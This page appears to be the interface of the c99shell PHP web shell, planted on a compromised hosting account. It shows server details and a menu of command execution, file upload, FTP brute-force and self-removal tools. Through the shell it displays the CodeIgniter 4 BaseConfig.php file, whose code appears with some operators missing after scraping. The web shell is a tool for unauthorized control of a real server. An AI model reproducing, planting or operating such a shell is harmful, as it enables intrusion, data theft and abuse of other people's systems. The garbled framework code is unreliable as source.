smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/system/Config/   drwxr-xr-x
Free 3433.27 GB of 4265.01 GB (80.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BaseConfig.php (6.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of CodeIgniter 4 framework.
 *
 * (c) CodeIgniter Foundation <admin@codeigniter.com>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace CodeIgniter\Config;

use 
Config\Encryption;
use 
Config\Modules;
use 
Config\Services;
use 
ReflectionClass;
use 
ReflectionException;
use 
RuntimeException;

/**
 * Class BaseConfig
 *
 * Not intended to be used on its own, this class will attempt to
 * automatically populate the child class' properties with values
 * from the environment.
 *
 * These can be set within the .env file.
 */
class BaseConfig
{
    
/**
     * An optional array of classes that will act as Registrars
     * for rapidly setting config class properties.
     *
     * @var array
     */
    
public static $registrars = [];

    
/**
     * Has module discovery happened yet?
     *
     * @var bool
     */
    
protected static $didDiscovery false;

    
/**
     * The modules configuration.
     *
     * @var Modules
     */
    
protected static $moduleConfig;

    
/**
     * Will attempt to get environment variables with names
     * that match the properties of the child class.
     *
     * The "shortPrefix" is the lowercase-only config class name.
     */
    
public function __construct()
    {
        static::
$moduleConfig config('Modules');

        
$this->registerProperties();

        
$properties  array_keys(get_object_vars($this));
        
$prefix      = static::class;
        
$slashAt     strrpos($prefix'\\');
        
$shortPrefix strtolower(substr($prefix$slashAt === false $slashAt 1));

        foreach (
$properties as $property) {
            
$this->initEnvValue($this->{$property}, $property$prefix$shortPrefix);

            if (
$this instanceof Encryption && $property === 'key') {
                if (
strpos($this->{$property}, 'hex2bin:') === 0) {
                    
// Handle hex2bin prefix
                    
$this->{$property} = hex2bin(substr($this->{$property}, 8));
                } elseif (
strpos($this->{$property}, 'base64:') === 0) {
                    
// Handle base64 prefix
                    
$this->{$property} = base64_decode(substr($this->{$property}, 7), true);
                }
            }
        }
    }

    
/**
     * Initialization an environment-specific configuration setting
     *
     * @param mixed $property
     *
     * @return void
     */
    
protected function initEnvValue(&$propertystring $namestring $prefixstring $shortPrefix)
    {
        if (
is_array($property)) {
            foreach (
array_keys($property) as $key) {
                
$this->initEnvValue($property[$key], "{$name}.{$key}"$prefix$shortPrefix);
            }
        } elseif ((
$value $this->getEnvValue($name$prefix$shortPrefix)) !== false && $value !== null) {
            if (
$value === 'false') {
                
$value false;
            } elseif (
$value === 'true') {
                
$value true;
            }
            if (
is_bool($value)) {
                
$property $value;

                return;
            }

            
$value trim($value'\'"');

            if (
is_int($property)) {
                
$value = (int) $value;
            } elseif (
is_float($property)) {
                
$value = (float) $value;
            }

            
$property $value;
        }
    }

    
/**
     * Retrieve an environment-specific configuration setting
     *
     * @return string|null
     */
    
protected function getEnvValue(string $propertystring $prefixstring $shortPrefix)
    {
        
$shortPrefix        ltrim($shortPrefix'\\');
        
$underscoreProperty str_replace('.''_'$property);

        switch (
true) {
            case 
array_key_exists("{$shortPrefix}.{$property}"$_ENV):
                return 
$_ENV["{$shortPrefix}.{$property}"];

            case 
array_key_exists("{$shortPrefix}_{$underscoreProperty}"$_ENV):
                return 
$_ENV["{$shortPrefix}_{$underscoreProperty}"];

            case 
array_key_exists("{$shortPrefix}.{$property}"$_SERVER):
                return 
$_SERVER["{$shortPrefix}.{$property}"];

            case 
array_key_exists("{$shortPrefix}_{$underscoreProperty}"$_SERVER):
                return 
$_SERVER["{$shortPrefix}_{$underscoreProperty}"];

            case 
array_key_exists("{$prefix}.{$property}"$_ENV):
                return 
$_ENV["{$prefix}.{$property}"];

            case 
array_key_exists("{$prefix}_{$underscoreProperty}"$_ENV):
                return 
$_ENV["{$prefix}_{$underscoreProperty}"];

            case 
array_key_exists("{$prefix}.{$property}"$_SERVER):
                return 
$_SERVER["{$prefix}.{$property}"];

            case 
array_key_exists("{$prefix}_{$underscoreProperty}"$_SERVER):
                return 
$_SERVER["{$prefix}_{$underscoreProperty}"];

            default:
                
$value getenv("{$shortPrefix}.{$property}");
                
$value $value === false getenv("{$shortPrefix}_{$underscoreProperty}") : $value;
                
$value $value === false getenv("{$prefix}.{$property}") : $value;
                
$value $value === false getenv("{$prefix}_{$underscoreProperty}") : $value;

                return 
$value === false null $value;
        }
    }

    
/**
     * Provides external libraries a simple way to register one or more
     * options into a config file.
     *
     * @throws ReflectionException
     */
    
protected function registerProperties()
    {
        if (! static::
$moduleConfig->shouldDiscover('registrars')) {
            return;
        }

        if (! static::
$didDiscovery) {
            
$locator         Services::locator();
            
$registrarsFiles $locator->search('Config/Registrar.php');

            foreach (
$registrarsFiles as $file) {
                
$className            $locator->getClassname($file);
                static::
$registrars[] = new $className();
            }

            static::
$didDiscovery true;
        }

        
$shortName = (new ReflectionClass($this))->getShortName();

        
// Check the registrar class for a method named after this class' shortName
        
foreach (static::$registrars as $callable) {
            
// ignore non-applicable registrars
            
if (! method_exists($callable$shortName)) {
                continue; 
// @codeCoverageIgnore
            
}

            
$properties $callable::$shortName();

            if (! 
is_array($properties)) {
                throw new 
RuntimeException('Registrars must return an array of properties and their values.');
            }

            foreach (
$properties as $property => $value) {
                if (isset(
$this->{$property}) && is_array($this->{$property}) && is_array($value)) {
                    
$this->{$property} = array_merge($this->{$property}, $value);
                } else {
                    
$this->{$property} = $value;
                }
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0039 ]--